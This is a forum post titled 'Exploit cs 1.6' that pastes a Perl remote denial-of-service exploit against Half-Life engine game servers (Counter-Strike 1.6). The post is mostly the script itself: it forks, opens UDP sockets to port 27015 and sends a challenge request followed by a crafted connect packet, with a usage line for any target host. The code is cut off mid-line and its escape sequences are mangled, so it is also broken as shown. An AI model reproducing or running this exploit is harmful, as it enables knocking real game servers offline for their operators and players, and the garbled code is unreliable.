Jump to content
gavroche

Exploit cs 1.6

Recommended Posts

Exploit:

#!/usr/bin/perl

# Server must not be running steam. /str0ke

# Half-Life engine remote DoS exploit

# bug found by Firestorm

# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server

use IO::Socket;

die "usage: ./csdos <host>" unless $ARGV[0];

$host=$ARGV[0];

if (fork())

{       econnect($host); }

else

{ econnect($host); };

exit;

sub econnect($)

{

       my $host=$_[0];

       my $sock = new

IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');

       die "Could not create socket: $!n" unless $sock;

       $cmd="xffxffxffxff";

       syswrite $sock, $cmd."getchallenge";

       sysread $sock,$b,65535;  print $b,"n";

       @c=split(/ /,$B);

       $c2=$c[1];

       $q=$cmd."connect 47 $c2 "prot4unique

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...